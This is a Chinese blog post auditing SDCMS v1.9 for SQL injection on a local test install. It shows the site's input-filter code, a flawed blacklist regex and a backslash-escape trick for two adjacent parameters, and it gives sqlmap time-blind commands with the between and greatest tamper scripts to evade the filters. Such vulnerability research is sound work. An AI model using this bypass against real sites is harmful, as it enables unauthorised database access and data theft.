发布时间:2025-12-09 17:48:12 浏览次数:4
1.漏洞注入点分析(黑名单 )
2.注入payload构造(双参数构造,sqlmap绕过)
注册账号后发现网站有在线留言功能,可以查看能否注入
但是没有两个连在一起的可控参数,无法利用成功
继续往下查看
查看F函数
#F函数(get和post)function F($a,$b=''){$a=strtolower($a);if(!strpos($a,'.')){$method='other';}else{list($method,$a)=explode('.',$a,2);}switch ($method){case 'get':$input=$_GET;break;case 'post':$input=$_POST;break;case 'other':switch (REQUEST_METHOD){case 'GET':$input=$_GET;break;case 'POST':$input=$_POST;break;default:return '';break;}break;default:return '';break;}$data=isset($input[$a])?$input[$a]:$b;if(is_string($data)){$data=enhtml(trim($data));//过滤数据}return $data;}分析发现最后传递给了data变量
enhtml函数内容
*stripslashes函数去除加的*
复制出来然后看哪些字符可以绕过
function filterExp($a){return (preg_match('/^select|insert|create|update|delete|alter|sleep|payload|assert|\'|\\|\.\.\/|\.\/|load_file|outfile/i',$a))?'':$a;}此处的\过滤对\过滤失效,在php中应该使用\\来过滤\。
我们可以考虑使用\进行sql注入
update,seleep函数被过滤,可以考虑extractvalue()报错函数,和benchmark()时间盲注函数
条件:两个参数必须连接在一起
'abc','127.0.0.1'第一个参数加\第二个参数payload'abc\' 'payload'\'将原来用于闭合的'转义为字符串单引号。'abc和payload前的'闭合。最后执行payload继续寻找有两个连在一起的可控参数
查看路由,进入order函数页面
但是sdcms.php是加密的,无法查看。可以通过浏览器浏览页面来猜测路由
写入测试代码测试是否为此模块
页面无显示
查看order方法位于哪个控制器
然后在order方法中写入测试代码
根据以上猜测构造url
http://127.0.0.1/sdcmsv1.9/?c=index&a=cate&classid=1http://127.0.0.1/sdcmsv1.9/?c=other&a=order查看order函数猜测可能是一个下单的处理函数,因此登录后台添加一个产品再做尝试
明天继续
然后用户登录页面点击订购抓包
构造payload
查看insert语句插入了多少字段
使用Burp进行sql报错尝试。
11.txt内容
使用sqlmap
1.python sqlmap.py -r 11.txt --dbms=mysql --technique=T -v 3#--technique是指定注入的技术——时间盲注 -v3 显示详细信息 2.python sqlmap.py -r 11.txt --dbms=mysql --technique=T --test-filter=benchmark --tamper=between,greatest -v 3 --batch#--test-filter=benchmark自定义payload里边的检测函数,由于sleep被过滤,用benchmark#tamper脚本between替换>,绕过htmlspecil函数#greatest脚本大于号替换为greatest